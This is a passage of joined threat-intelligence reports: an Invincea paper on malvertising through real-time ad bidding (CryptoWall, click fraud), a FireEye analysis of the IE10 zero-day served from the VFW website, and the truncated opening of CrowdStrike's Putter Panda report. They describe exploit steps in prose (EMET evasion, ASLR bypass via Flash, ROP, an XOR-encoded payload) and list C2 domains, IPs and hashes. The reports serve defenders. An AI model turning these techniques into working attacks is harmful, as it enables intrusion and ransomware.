customers witnessed micro-targeted malvertising at a rate six times that of comparable private sector
companies with similar defense-in-depth capabilities.
Real-Time Bidding Networks: How it works
We observed in Operation DeathClick that real-time ad bidding networks are being used by criminal
enterprise to target companies with malicious content in order to gain persistent remote access.
In
these third-party arrangements, the content is frequently not vetted because billions of impressions are
rendered in real-time.
Most of the content is legitimate ads.
A small fraction is malicious content linking
to landing pages that infect users.
Real-time ad networks are being used, often unwittingly, and some
have taken steps to try and combat malicious use of their networks.
The Online Trust Alliance is one such
industry group comprised of major software companies and ad networks working together to try and
address this problem.
Our goal in this paper is to shed light on the micro-targeting of companies by
criminal enterprise employing real-time ad networks, and to aid the industry in collectively addressing
this problem.
Real-time ad bidding networks have evolved over the last ten years as a means of micro-targeting
customers with advertising content they are more likely to click-on.
From Wikipedia:
Real-time bidding (RTB) refers to the means by which ad inventory is bought and sold on a per-
impression basis, via programmatic instantaneous auction, similar to financial markets.
[1] With
real-time bidding, advertising buyers bid on an impression and, if the bid is won, the buyer’s ad is
instantly displayed on the publisher’s site.
[2] Real-time bidding lets advertisers manage and
optimize ads from multiple ad-networks by granting the user access to a multitude of different
networks, allowing them to create and launch advertising campaigns, prioritize networks and
allocate advertising stock.
Real-time bidding is a dynamic bidding process where each impression is bid for in (near) real time,
against a static auction where the impressions are typically bundled in groups of 1,000.
A typical transaction begins with a user visiting a website.
This triggers a bid request that can
include various pieces of data such as the user’s demographic information, browsing history,
location, and the page being loaded.
The request goes from the publisher to an ad exchange,
which submits it and the accompanying data to multiple advertisers who automatically submit
bids in real time to place their ads.
Advertisers bid on each ad impression as it is served.
The
Invincea, Inc.                                                            Release Date: 10.27.2014
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impression goes to the highest bidder and their ad is served on the page.
This process is repeated
for every ad slot on the page.
Real time bidding transactions typically happen within 100
milliseconds from the moment the ad exchange received the request.
The bidding happens autonomously and advertisers set maximum bids and budgets for an
advertising campaign.
The criteria for bidding on particular types of consumers can be very
complex, taking into account everything from very detailed behavioral profiles to conversion data.
The following infographic summarizes how advanced adversaries are now micro-targeting companies
using malvertising.
Invincea, Inc.                                                           Release Date: 10.27.2014
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Malvertisers have Weaponized RTB
The marketplace and auction of ads sounds great for actual ads.
But what if the landing pages that are
supposed to be ads are actually malicious PHP pages with embedded malware?
The bidding and ad
placements work the same, but instead of seeing a flashy ad banner, the highest bidder for the placement
serves malware.
The price to win the bid to push malvertising to any page you happen to visit ranges from
45 to 75 cents per impression.
A malicious advertiser on a network may serve crafted, seemingly normal ads, a majority of the time.
In
fact, the ads are often stolen copies from legitimate advertisers.
This establishes the attacker’s legitimacy
and trust on the ad network.
Of course with real-time ad bidding, he can simply offer up low bids and his
content would consistently lose in the marketplace.
But it is very simple to replace the redirection code
to switch from a legitimate ad banner to a drop site that hosts an exploit kit, typically based on Java, Flash,
Silverlight, or all three.
Once the malvertiser detects that he has several infected hosts, he removes the
redirection code and goes back to serving standard ad banners.
He then “burns” his temporary exploit kit
drop site, moving his exploits to another location for a new campaign.
This allows the malicious advertiser to perform hit and run attacks, infect whomever he wants at whatever
time he wants, and maintain his presence on the advertising marketplace without drawing undue
attention to his activities.
In the sections below, we will provide highlights of the RTB industry, its targeting capabilities, and show
how malvertisers have been mis-appropriating RTB networks to deliver malware.
Competitive Service Offerings for RTB
The RTB ad networks provide significant micro-targeting capabilities that have long been used to serve
legitimate content to users more likely to click on them.
In the following, we describe these capabilities
to show the state of the art in RTB network capabilities.
The quoted material below are direct quotes from
Real Time Bidding service providers linked.
Emphasis added by Invincea.
Pubmatic:
Audience Targeting: Bid on the audiences most valuable to you.
Each impression in the PubMatic
auction can be enhanced with first- and third-party data; giving buyers targeting capabilities
across display, mobile, tablet and video inventory.
Media buyers can also cookie sync with
publisher audiences to incorporate CRM, retargeting and exclusion strategies in their digital
advertising.
Buyers have access to proprietary audience segments either directly through Private Marketplace
deals or through the open market.
With hundreds of parameters available to you, PubMatic has
your best audiences waiting for you.
Invincea, Inc.                                                              Release Date: 10.27.2014
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With PubMatic, buyers are able to access pre-defined vertical or audience packages, seasonal
packages, publisher and/or site-specific inventory packages as well as pre-selected publisher
packages and pricing available in Private Marketplaces.
First-Impression.com
“First-Impression Buy-Side offers the granular targeting, tracking, and reporting needed to help
our clients make the most of their spend, along with an expert support team to advise when
needed.
By leveraging real time buying, First-Impression Buy-Side gives media buyers the full
control to maximize the value of an impression.”
Could Malvertisers Track Exploits and their cost per impression?
Yes.
Many RTB networks provide a
control panel to track advertising campaigns in real-time, along with notifications that bids have been won
and who exactly was served the malware.
Below is a URL redirection log from First-Impression.com from a winning bid by a malvertiser.
In the URL
are parameters such as the type of ad, the type of user-agent string of the ad reader specified (which
discloses browser and java versions), whether it is a retargeted ad based off of cookies (this one was not),
the price paid, which is 65.4 cents, and the notification to the malvertiser that his malvertising was
delivered.
http://delivery.first-
impression.com/delivery?action=serve&ssp_id=3&ssp_wsid=2191400908&dssp_id=100&domain_
id=2191400908&ad_id=748271&margin=0.4&cid=155380&bn=sj14&ip_addr=24.234.123.133&ua=15
40937276&top_level_id=24.234.123.133&second_level_id=1540937276&page=thanhniennews.co
m&retargeted=null&height=90&width=728&idfa=null&android_id=null&android_ad_id=null&bi
d_price=0.654&count_notify=1&win_price=$AAABSMPg1dmFEPqXEZe5_CYviub3uOlabldGew
DoubleClick.net
DoubleClick discusses their targeting capabilities in online documentation.
Since they specialize in
knowing the location of their ad windows, they market those ad spaces to the actual advertisers and
malvertisers, along with targeted demographics about the content pages, the visitors to the sites and
more.
To showcase the variety of impression-level data available to buyers, consider the data made
available through a connection to DoubleClick Ad Exchange’s real-time bidding API.
With ADX, a
buyer could consider any of the following data passed from the seller with each impression:
• Ad slot parameters: visibility (above or below the fold), size, excluded creative attributes,
excluded advertiser URLs, allowed vendor or ad technology.
• Geo parameters: country, region, metro, city.
• Content parameters: site URL, site language, seller network, vertical or category.
Invincea, Inc.                                                            Release Date: 10.27.2014
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• User parameters: browser, operating system, anonymous cookie (hashed), cookie age.
Just like when considering one type of data, by using the anonymous cookie parameter, buyers
can consider first-party retargeting or third-party audience data from a data provider.
However,
they can go further in the evaluation by looking at more of these parameters.
This helps a buyer
learn much more about a particular user and a particular impression, gain a smarter answer to
the three essential questions and make a more data-driven decision.
Twitter, Facebook and other RTB ads can now target mobile devices by their phone
numbers.
This sounds like a great way to advertise if you are in the marketing industry.
Consider how granularly a
person can be targeted if this service is used maliciously.
If not targeted by the desktop, how about on
the mobile platform?
Twitter’s Tailored Audiences just got a little more tailored.
Advertisers can now augment their customer data using mobile advertising IDs and mobile
phone numbers as a way to reach existing customers and increase audience size.
In essence, the
move is an extension of Twitter’s Tailored Audiences for CRM retargeting, which allows advertisers
to use hashed non-PII email address to retarget existing customers.
(email addresses are twitter
IDs- so you could be targeted for ad delivery based on your account name or known phone
number)
Twitter also rolled out the ability to target lookalike audiences, a function that seems pretty similar
to Facebook’s tool of the same name.
Twitter’s lookalike modeling uses a proprietary algorithm
that examines modeled users looking for similarities related to behaviors, interests, location,
demographic attributes and engagement patterns.
Twitter described its enhanced as “part of improved targeting options to help advertisers reach
additional users similar to their existing audiences.”
Tailored Audiences, Twitter’s seeming answer to the Facebook Exchange (FBX), officially launched
back in December after running retargeting and database matching tests in July.
Twitter has
appeared to follow Facebook’s lead with a number of its recent roll-outs, including site retargeting,
CRM targeting and now retargeting via lookalike audiences.
(Facebook also makes it possible to
target users by phone numbers through Custom Audiences.)
Neustar.biz
Neustar does provide a real-time bidding ad exchange, but their real market is IP intelligence that they
sell to other advertising networks for the purposes of better targeting specific users.
In Europe, laws
require that advertising networks allow people to opt out of having tracking cookies, which is how many
advertisers used to rely upon for ad campaign targeting.
To get around this, Neustar perfected IP based
targeting, which avoids cookies.
They are able to build IP specific browsing profiles based on IP subnets.
In a blog post below, Neustar boasts about their direct to IP range and enterprise advertising.
Invincea, Inc.                                                              Release Date: 10.27.2014
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How can Neustar IP Intelligence target by IP?
While IP intelligence has been around for many years, the ability to effectively target advertising
by audience, based on IP is very new.
Neustar IP Intelligence is currently working with select DSP
platforms to buy impressions off of the exchanges based on the IP address rather than cookies.
This has only been possible with the recent emergence of real time bidding (RTB).
The secret
sauce is in understanding the IP and the methodology necessary for targeting ads appropriately
against it.
Is an IP Address like a cookie?
No, an IP address only identifies devices on a network.
The IP address does not contain any PII and
does not track or store any consumer usage or behavioral information.
(But IP ranges are
registered by IANA, and you can easily know who owns the ranges)
Product Specific Questions
Q1: How does the process work?
The process works exactly like any advertising network.
Instead of buying inventory based on a
cookie, Neustar is buying inventory based on an IP address.
We run the targeting specifics against
our proprietary database and create a custom IP list to target against.
Neustar has set up
relationships with partners that have built the functionality for this to work end-to-end for our
advertisers.
Neustar offers a full service ad network.
Brand marketers who wish to advertise using IP Audience
Targeting can work directly with Neustar to determine custom IP placements, run campaigns,
optimization, reporting and billing.
Much like any traditional online publisher or online ad network,
Neustar manages the entire process.
How does Neustar deliver its ads?
We use industry standard methods for delivering our ads, but what makes our approach special is
that we bake in the IP data before delivering the inventory with our network partners, which
allows us to target display ad campaigns to a specific business or organization.
We obtain
inventory from ad exchanges, but have our own ad server.
Zedo
Zedo, blamed for recent malvertising via DoubleClick, say they are now trying to protect against
malvertisers in this blog here.
Less than a week after this announcement, they published another blog
post that describes how they can push advertising to specific platforms, devices, as well as specific markets
and networks:
ZEDO Advertising Technology Updates – September 2014
Device Targeting
Users can now target ads to a specific device when trafficking ads.
An option for “Device
Targeting” is now available under “Targeting”.
A creative targeted to a specific Device will serve
only on that Device.
All major manufacturers/models are supported by this feature.
If a creative is
not targeted to any specific device than it will serve on all device.
Invincea, Inc.                                                             Release Date: 10.27.2014
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Figure 13: Targeting by Device Manufacturer/Model
Apart from device, a user can target various devices based on different categories.
At any given
point of time, a user can target multiple manufacturers and categories.
Figure 14: Targeting by Device Category
Reach Report by Creative
Apart from existing campaign reach report a user can now pull a reach report by creative.
The
creative reach report is available along with all the existing parameters and can be pulled by
month, week or day.
Creative reach report will show creative wise reach.
It will help to analyze
how effective the reach of a creative was.
Major Players in RTB
Invincea, Inc.                                                         Release Date: 10.27.2014
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To be clear, RTB networks are legitimate platforms for displaying ads on ad-supported websites.
They
enable micro-targeting of user’s interest, delivering content that a viewer would likely want to see.
As we
have detailed here, they can also be mis-appropriated unwittingly by malvertisers using these same tools
and techniques to target companies with malware for persistent remote access in addition to traditional
click fraud, phishing, and identity theft.
Below are links to RTB providers to learn more.
http://www.sovrn.com/
http://www.turn.com/
http://indexexchange.com/
https://www.dataxu.com/
http://www.sitescout.com/rtb/
http://first-impression.com/home/
http://www.zedo.com/
How Malvertisers Get $$ to Bid on RTB
Invincea has shown logs from a winning malvertising bid in the price range of 65 cents per impression.
That is one ad, on one page, paid for by the malvertiser’s account.
This implies that malvertisers have
deep pockets, spending hundreds of dollars on ad impressions.
So how do they get money to spend on
these malicious campaigns?
Invincea recently saw a malvertiser win a bid and delivered a Java exploit.
This exploit copied a fully
functional version of Chrome into the Java cache directory, and that version of Chrome launched in the
background and proceeded to visit websites and click on specific ad banners.
It is presumed that these
ad banners paid revenue via referral bonuses to the malvertiser.
By paying 65 cents to install a
background web browser that does nothing but click fraud, the malvertiser is able to reap hundreds if not
thousands of dollars in advertising referral income.
It is a pretty good return on investment, which in turn
allows the malvertiser to fund his micro-targeted malvertising attack campaign.
It is ironic, however, that click fraud is what is driving the prices of RTB advertising so high.
Malvertising
is not only a danger to end users, but it is a danger to the advertising industry as well.
The image from
Figure 14 below shows a log file of Chrome, in this instance, renamed Oajvliewxpge.exe, injected via Java
to run in the background.
Invincea detected this attack and killed the infection attempt.
This is one
instance where the malvertiser wasted his 65 cents.
Invincea, Inc.                                                              Release Date: 10.27.2014
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Figure 16: Event tree of click fraud malvertising exploit
It should be noted that Invincea is uniquely capable of stopping this type of attack.
The introduction of
Chrome as a browser, which is whitelisted by hash across the AV industry, would go unchecked by the AV
and whitelisting applications industry.
In this instance, the host was almost converted to a click-fraud bot.
But the malware delivery could have been intended for data exfiltration, banking Trojans, or any other
more insidious purpose.
Where Malvertisers Host Exploits
The ability for advertisers and malvertisers to automatically redirect to self-hosted ad content or exploit
pages is driving RTB malvertising.
Invincea has witnessed a rash of exploit kits and landing pages hosted
on:
 Compromised WordPress Blogs
Invincea, Inc.                                                             Release Date: 10.27.2014
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   Unconfigured Apache hosts
   Cloud-based NGINX subdirectories
   Government and News pages in Poland
   Free Hosting sites such as ua.in
In most instances, the landing pages are preconfigured with the exploit kit.
The malvertiser creates the
redirection in his normal ad prior to raising his bids to winning levels.
Once several victims are confirmed,
those malicious landing pages have the content erased, and the automatic redirection removed to serve
“normal” ads again.
Real World Examples of RTB Malvertising Captured by Invincea
Figures 17 through 21 in the following are screenshots from Invincea’s Threat Management console from
various RTB-based malvertising incidents with highlighted URLs for malvertising delivered via RTB ad
bidding.
Figure 17: Recent Blaze.
Com RTB Kryptik malvertising via GumGum
Figure 18: Online Ammunition Forum had RTB malvertising delivered.
Exploit landing page in
In.ua.
Invincea, Inc.                                                             Release Date: 10.27.2014
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Figure 19: Largest Trading Online Forum Trade2Win.com delivered RTB malvertising via
German provider:
Figure 20: Answers.com click bait articles hosted winning RTB bids dropping Kryptik from
Polish government landing page exploit kits.
Invincea, Inc.                                                  Release Date: 10.27.2014
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Figure 21: Online Poker Room and targeted RTB attack against Defense Contractor.
Java
exploit hosted at unconfigured Nginx host.
Invincea, Inc.                                                Release Date: 10.27.2014
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Ransomware Campaign via Malvertising
In September and October of 2014, Invincea saw a sharp spike of malvertising delivering CryptoWall
ransomware attacks via Real Time Ad Bidding.
We observed Real Time Ad bidding platforms, including
OpenX, GoogleAds, Yahoo, AOL, and first-impression.com, fall victim to the ransomware malvertising
scheme by unwittingly delivering the CryptoWall 2.0 ransomware ads.
Ransomware is a particularly pernicious form of malware that fully encrypts the victim’s disk and data
files, including remote storage, then demands payment of anywhere from $300 to $1000 in return for the
decryption key.
Users are held hostage from their own work, pictures, personal, and proprietary material.
To learn more about the scourage of ransomware, see this blog.
Based on analysis of Invincea logs in would-be victims targeted by these ads, we have insight into the
attacker that is delivering the malicious ads.
According to Invincea analysis of ads delivered from first-
impression.com, winning ad bids ranging from as low as 30 cents and as high as $1.70, were delivered by
a block of unique identifiers.
It is highly likely that the same attackers are using other RTB ad platforms.
This campaign matches the characteristics described by Proofpoint in its blog in terms of the exploitation
methods.
Legitimate ad copy is stolen, 3rd party ad networks used to distribute malware, and popular ad-
supported websites displaying the malicious ads that exploit unsuspecting visitors with drive-by web
exploits.
Merely visiting any ad-supported site may result in a CryptoWall ransomware infection.
Cryptowall 2.0 utilizes the TOR network to hide its communications, but it quickly encrypts all local files
on the disk, and demands bitcoin payment to unlock the files.
Many companies have fallen prey to this
attack over the past few months, making this one of the most successful Ransomware campaigns to date.
Invincea, Inc.                                                            Release Date: 10.27.2014
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Analysis of CryptoWall Malvertising Infections
Mitigated Infection Event Sports.
Yahoo.com
Below is a typical Cryptowall 2 infection as seen in the Invincea Management Server logs.
This winning
ad placement ran on sports.yahoo.com – an Alexa Top 4 rated site.
Highlighted in order in Figure 22 is
the common filename of obupdat.exe, which has ever changing hashes, followed by the TOR port, and
the 3rd party ad platform of first-impression.com.
Analysis (Original report):
Figure 22: CryptoWall 2.0 infection report
Invincea, Inc.                                                          Release Date: 10.27.2014
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Timeline Analysis (Original Report):
Below in Figure 23 is the timeline of the Tor connections and SSL connections employed by CryptoWall.
Figure 23: Network connections from CryptoWall 2.0
Invincea, Inc.                                                         Release Date: 10.27.2014
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In addition, you can see the ransom note being written to disk on an infected machine in the audit logs
in Figure 24.
Figure 24: File writes including the ransom note from CryptoWall infection
Figure 25 shows the winning malvertising bid via RTB ad delivery from first-impression.com.
Items
highlighted in the URL below is userid, and the winning bid price to place malvertising of Cryptowall on
sports.yahoo.com, which is 60 cents.
Figure 25: Winning malvertising bid with fields embedded in URL
Invincea, Inc.                                                           Release Date: 10.27.2014
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In Figure 26 below, we show the unique identifiers for the userID and campaigns to deliver CryptoWall
malware that were blocked and audited by Invincea, including the websites that delivered the ads via a
third-party ad network over the past month.
userID, CampaignID and CommonName                                  Website Delivering Malvertising
748568&margin=0.4&cid=155493&bn=wheelie                            Hotair.com
748568&margin=0.4&cid=155493&bn=wheeljack                          webmail comcast
748163&margin=0.4&cid=155330&bn=wheeljack                          theblaze.com
748566&margin=0.4&cid=155493&bn=redalert                           sports.yahoo.com
746705&margin=0.4&cid=154897&bn=dc16 (unknown)                     www.searchtempest.com
748480&margin=0.4&cid=155474&bn=redalert                           viewmixed.com
748600&margin=0.4&cid=155528&bn=inferno                            rr webmail
748418&margin=0.4&cid=155453&bn=inferno                            lucianne.com
748270&margin=0.4&cid=155380&bn=sj10 (skipjack)                    thanhniennews.com
748417&margin=0.4&cid=155453&bn=wheeljack                          mariowiki.com
Figure 26: Malware campaigns delivered via 3rd party ad network and the websites that hosted the
ads
To reiterate, neither the websites listed here, nor the 3rd party ad network, necessarily was aware of the
malicious ads they were serving to the website visitors.
It is likely they were not aware without ad
screening technology.
In each event above, Invincea blocked an attempt to infect an endpoint with Cryptowall 2.0 and
prevented CryptoWall from encrypting the user’s file system and holding it hostage.
Had the user not
been running Invincea, the attack would likely have been successful, and the only way the user would
have had to recover the encrypted files would be to pay the attacker the ransom.
This is an effective
ransom technique, and one that is paying off well for the attackers, who use the income from the
attacks to purchase Real Time Ad Bids on RTB networks to infect more users.
Central Hosting of Clean Content
Most RTB ad providers allow for advertisers to host their own ad content.
This allows advertisers to
directly collect web impression data of who is hitting which ads, from where, by which IPs, which user-
agent strings, and just about anything else you could log about a website visit.
In addition, the advertising
network doesn’t have to utilize their own disk space to host the image files, the flash videos or other
online content.
RTB networks simply do the auctioneering and redirection to the winning content.
Invincea, Inc.                                                             Release Date: 10.27.2014
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It is this weakness in security that malvertisers are taking advantage of.
If ad networks were to switch to
a model where all content is actually hosted by them (1st party hosting), in a cloud, then the risk of
malvertising would drop dramatically.
The RubiconProject has a Seller’s Cloud, which could be a security model for the RTB industry.
It is
inherently more secure way of hosting ad content.
How to Protect Yourself from Micro-targeted Malvertising
Operation DeathClick is an active campaign to micro-target companies via malvertising in order to
compromise their networks.
Unfortunately, the micro-targeting malvertising technique evades almost all
network controls and traditional endpoint anti-virus solutions.
Invincea can protect users from this attack
type among other targeted and opportunistic web-based threats.
For half the price of a candy bar,
attackers have the unprecedented ability to deliver malware to you through your web browser simply
because of your IP address space and your industry vertical.
Most of the attacks featured here were not
detected by standard Anti-Virus because the malware hashes constantly change.
Web proxy blocking updates, even in real time, will not stop new malvertising landing pages that appear
and disappear within minutes.
Intelligence feeds from the premier intelligence providers, based on hostname, IP, URL or domain will not
be able to block malicious malvertisers quickly enough.
Invincea protected users can simply browse and click anything online without fear of compromise or
targeted malvertising attacks.
Non-Invincea users can attempt to OptOut of directed targeting where you can.
European privacy laws
for forcing most ad providers to offer the opt-out service; however, you often have to visit each ad
provider individually to choose to opt out.
Invincea, Inc.                                                            Release Date: 10.27.2014
Invincea White Paper       32
Note, that opting out merely places a blocking cookie in your browser.
This means that ad providers will
not target or retarget based on cookies.
But as shown above, the new targeted advertising is via IP
intelligence.
http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/
http://preferences-mgr.truste.com/
http://www.ghosteryenterprise.com/global-opt-out/
Release Notes
10/27: For clarification, Invincea has added additional notes in this version that the websites shown here
and the 3rd party real-time ad networks are being used unwittingly and their resources misappropriated
by malvertisers to target companies for persistent remote access, click fraud, and other nefarious
activities.
This is not a reflection on these companies, nor the services they provide.
This paper
highlights the problem for greater awareness so the industry collectively can combat this problem
perhaps with more effective screening at the source prior to displaying ads.
Invincea, Inc.                                                           Release Date: 10.27.2014
Operation SnowMan: DeputyDog Actor Compromises US Veterans of
Foreign Wars Website
On February 11, FireEye identified a zero-day exploit (CVE-2014-0322) being served up from the U.S.
Veterans of Foreign Wars’ website (vfw[.]org).
We believe the attack is a strategic Web compromise
targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading
up to the Presidents Day holiday weekend.
Based on infrastructure overlaps and tradecraft similarities, we
believe the actors behind this campaign are associated with two previously identified campaigns
(Operation DeputyDog and Operation Ephemeral Hydra).
This blog post examines the vulnerability and associated attacks, which we have dubbed “Operation
SnowMan.”
Exploit/Delivery analysis
After compromising the VFW website, the attackers added an iframe into the beginning of the website’s
HTML code that loads the attacker’s page in the background.
The attacker’s HTML/JavaScript page runs a
Flash object, which orchestrates the remainder of the exploit.
The exploit includes calling back to the IE 10
vulnerability trigger, which is embedded in the JavaScript.
Specifically, visitors to the VFW website were
silently redirected through an iframe to the exploit at www.
[REDACTED].com/Data/img/img.html.
Mitigation
The exploit targets IE 10 with Adobe Flash.
It aborts exploitation if the user is browsing with a different
version of IE or has installed Microsoft’s Experience Mitigation Toolkit (EMET).
So installing EMET or
updating to IE 11 prevents this exploit from functioning.
Vulnerability analysis
The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10.
The
vulnerability allows the attacker to modify one byte of memory at an arbitrary address.
The attacker uses
the vulnerability to do the following:
Gain access to memory from Flash ActionScript, bypassing address space layout randomization
(ASLR)
Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention
(DEP)
EMET detection
The attacker uses the Microsoft.XMLDOM ActiveX control to load a one-line XML string containing a file
path to the EMET DLL.
Then the exploit code parses the error resulting from the XML load order to
determine whether the load failed because the EMET DLL is not present.
The exploit proceeds only if this
check determines that the EMET DLL is not present.
ASLR bypass
Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use
it to bypass ASLR.
For example, the attacker corrupts a Flash Vector object and then accesses the
corrupted object from within Flash to access memory.
We have discussed this technique and other ASLR
bypass approaches in our blog.
One minor difference between the previous approaches and this attack is
the heap spray address, which was changed to 0x1a1b2000 in this exploit.
Code execution
Once the attacker’s code has full memory access through the corrupted Flash Vector object, the code
searches through loaded libraries gadgets by machine code.
The attacker then overwrites the vftable
pointer of a flash.
Media.
Sound() object in memory to point to the pivot and begin ROP.
After successful
exploitation, the code repairs the corrupted Flash Vector and flash.
Media.
Sound to continue execution.
Shellcode analysis
Subsequently, the malicious Flash code downloads a file containing the dropped malware payload.
The
beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR
key of 0×95.
The attacker appends the payload to the shellcode before pivoting to code control.
Then,
when the shellcode is executed, the malware creates files “sqlrenew.txt” and “stream.exe”.
The tail of the
image file is decoded, and written to these files.
“sqlrenew.txt” is then executed with the LoadLibraryA
Windows API call.
ZxShell payload analysis
As documented above, this exploit dropped an XOR (0×95) payload that executed a ZxShell backdoor
(MD5: 8455bbb9a210ce603a1b646b0d951bce).
The compile date of the payload was 2014-02-11, and the
last modified date of the exploit code was also 2014-02-11.
This suggests that this instantiation of the
exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of
Foreign Wars website.
A possible objective in the SnowMan attack is targeting military service members to
steal military intelligence.
In addition to retirees, active military personnel use the VFW website.
It is
probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down
Thursday amid a severe winter storm.
The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to
cyber espionage operations.
This particular variant called back to a command and control server located at
newss[.]effers[.]com.
This domain currently resolves to 118.99.60.142.
The domain info[.]flnet[.
]org also
resolved to this IP address on 2014-02-12.
Infrastructure analysis
The info[.]flnet[.
]org domain overlaps with icybin[.]flnet[.
]org and book[.]flnet[.
]org via the previous
resolutions to the following IP addresses:
58.64.200.178
58.64.200.179
103.20.192.4
First Seen       Last Seen         CnC Domain           IP
2013-08-31       2013-08-31        icybin.flnet[.
]org   58.64.200.178
2013-05-02       2013-08-02        info.flnet[.
]org     58.64.200.178
2013-08-02       2013-08-02        book.flnet[.
]org     58.64.200.178
2013-08-10       2013-08-10        info.flnet[.
]org     58.64.200.179
2013-07-15       2013-07-15        icybin.flnet[.
]org   58.64.200.179
2014-01-02       2014-01-02        book.flnet[.
]org     103.20.192.4
2013-12-03       2014-01-02        info.flnet[.
]org     103.20.192.4
We previously observed Gh0stRat samples with the custom packet flag “HTTPS” calling back to
book[.]flnet[.
]org and icybin[.]flnet[.]org.
The threat actor responsible for Operation DeputyDog also
used the “HTTPS” version of the Gh0st.
We also observed another “HTTPS” Gh0st variant connecting to
a related command and control server at me[.]scieron[.
]com.
MD5 Hash                         CnC Domain
758886e58f9ea2ff22b57cbbb015166e book.flnet[.
]org
0294f9280491f85d898ebe471f0fb58e icybin.flnet[.
]org
9d20566a327076b7152bbf9ed20292c4 me.scieron[.
]com
The me[.]scieron[.
]com domain previously resolved to 58.64.199.22.
The book[.]flnet[.
]org domain also
resolved to another IP in the same subnet 58.64.199.0/24.
Specifically, book[.]flnet[.
]org previously
resolved to 58.64.199.27.
Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.
]org, ali[.]blankchair[.
]com,
and cht[.]blankchair[.]com.
The domain dll[.]freshdns[.
]org resolved to 58.64.199.25.
Both
ali[.]blankchair[.
]com and cht[.]blankchair[.
]com resolved to 58.64.199.22.
First Seen       Last Seen         CnC Domain             IP
2012-11-12       2012-11-28        me.scieron[.
]com     58.64.199.22
2012-04-09       2012-10-24        cht.blankchair[.
]com 58.64.199.22
2012-04-09       2012-09-18        ali.blankchair[.
]com 58.64.199.22
2012-11-08       2012-11-25        dll.freshdns[.
]org   58.64.199.25
2012-11-23       2012-11-27        rt.blankchair[.
]com 58.64.199.25
2012-05-29       2012-6-28         book.flnet[.
]org     58.64.199.27
A number of other related domains resolve to these IPs and other IPs also in this /24 subnet.
For the
purposes of this blog, we’ve chosen to focus on those domains and IP that relate to the previously
discussed DeputyDog and Ephemeral Hydra campaigns.
You may recall that dll[.]freshdns[.
]org, ali[.]blankchair[.
]com and cht[.]blankchair[.
]com were all linked
to both Operation DeputyDog and Operation Ephemeral Hydra.
Figure 1 illustrates the
infrastructure overlaps and connections we observed between the strategic Web compromise campaign
leveraging the VFW’s website, the DeputyDog, and the Ephemeral Hydra operations.
Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra
Links to DeputyDog and Ephemeral Hydra
Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s)
responsible for the DeputyDog/Ephemeral Hydra campaigns include:
The use of zero-day exploits to deliver a remote access Trojan (RAT)
The use of strategic web compromise as a vector to distribute remote access Trojans
The use of a simple single-byte XOR encoded (0×95) payload obfuscated with a .jpg extension
The use of Gh0stRat with the “HTTPS” packet flag
The use of related command-and-control (CnC) infrastructure during the similar time frames
We observed many similarities from the exploitation side as well.
At a high level, this attack and the CVE-
2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE
JavaScript to trigger an IE flaw.
The code within the Flash files from each attack are extremely similar.
They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have
some identical functions with common typos, and even share the same name.
Conclusion
These actors have previously targeted a number of different industries, including:
U.S. government entities
Japanese firms
Defense industrial base (DIB) companies
Law firms
Information technology (IT) companies
Mining companies
Non-governmental organizations (NGOs)
The proven ability to successfully deploy a number of different private and public RATs using zero-day
exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to
long-term.
This entry was posted in Advanced Malware, Exploits, Targeted Attack, Threat Research, Vulnerabilities
and tagged 0day, zero-day by Darien Kindlund, Dan Caselden, Xiaobo Chen, Ned Moran and Mike Scott.
Bookmark the permalink.
CrowdStrike                                                                                                                                   Putter Panda
Intelligence
Report
Crowdstrike Global Intelligence Team
This report is part of the series of technical and strategic reporting available to CrowdStrike Intelligence subscribers.
It is being released publicly
to expose a previously undisclosed PLA unit involved in cyberespionage against Western technology companies.
In May 2014, the U.S. Department of Justice charged five Chinese nationals for economic espionage against U.S.
corporations.
The five known state actors are officers in Unit 61398 of the Chinese People’s Liberation Army (PLA).
In
response, the Chinese government stated that the claims were “absurd” and based on “fabricated facts”.
China then went
even further, stating “The Chinese government, the Chinese military and their relevant personnel have never engaged or
participated in cyber theft of trade secrets.”
We believe that organizations, be they governments or corporations, global or domestic, must keep up the pressure and hold
China accountable until lasting change is achieved.
Not only did the U.S. Government offer in its criminal indictment the
foundation of evidence designed to prove China’s culpability in electronic espionage, but also illustrated that the charges
are only the tip of a very large iceberg.
Those reading the indictment should not conclude that the People’s Republic of
China (PRC) hacking campaign is limited to five soldiers in one military unit, or that they solely target the United States
government and corporations.
Rather, China’s decade-long economic espionage campaign is massive and unrelenting.
Through widespread espionage campaigns, Chinese threat actors are targeting companies and governments in every
part of the globe.
At CrowdStrike, we see evidence of this activity first-hand as our services team conducts Incident Response investigations
and responds to security breaches at some of the largest organizations around the world.
We have first-hand insight into the
billions of dollars of intellectual property systematically leaving many of the largest corporations - often times unbeknownst
to their executives and boards of directors.
The campaign that is the subject of this report further points to espionage activity outside of Unit 61398, and reveals
the activities of Unit 61486.
Unit 61486 is the 12th Bureau of the PLA’s 3rd General Staff Department (GSD) and is
headquartered in Shanghai, China.
The CrowdStrike Intelligence team has been tracking this particular unit since 2012,
under the codename PUTTER PANDA, and has documented activity dating back to 2007.
The report identifies Chen Ping,
aka cpyy, and the primary location of Unit 61486.
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade
secrets, primarily relating to the satellite, aerospace and communication industries.
With revenues totaling $189.2 billion
in 2013, the satellite industry is a prime target for espionage campaigns that result in the theft of high-stakes intellectual
property.
While the gains from electronic theft are hard to quantify, stolen information undoubtedly results in an improved
competitive edge, reduced research and development timetables, and insight into strategy and vulnerabilities of the
targeted organization.
Parts of the PUTTER PANDA toolset and tradecraft have been previously documented, both by CrowdStrike, and in open
source, where they are referred to as the MSUpdater group.
This report contains details on the tactics, tools, and techniques
used by PUTTER PANDA, and provides indicators and signatures that can be leveraged by organizations to protect
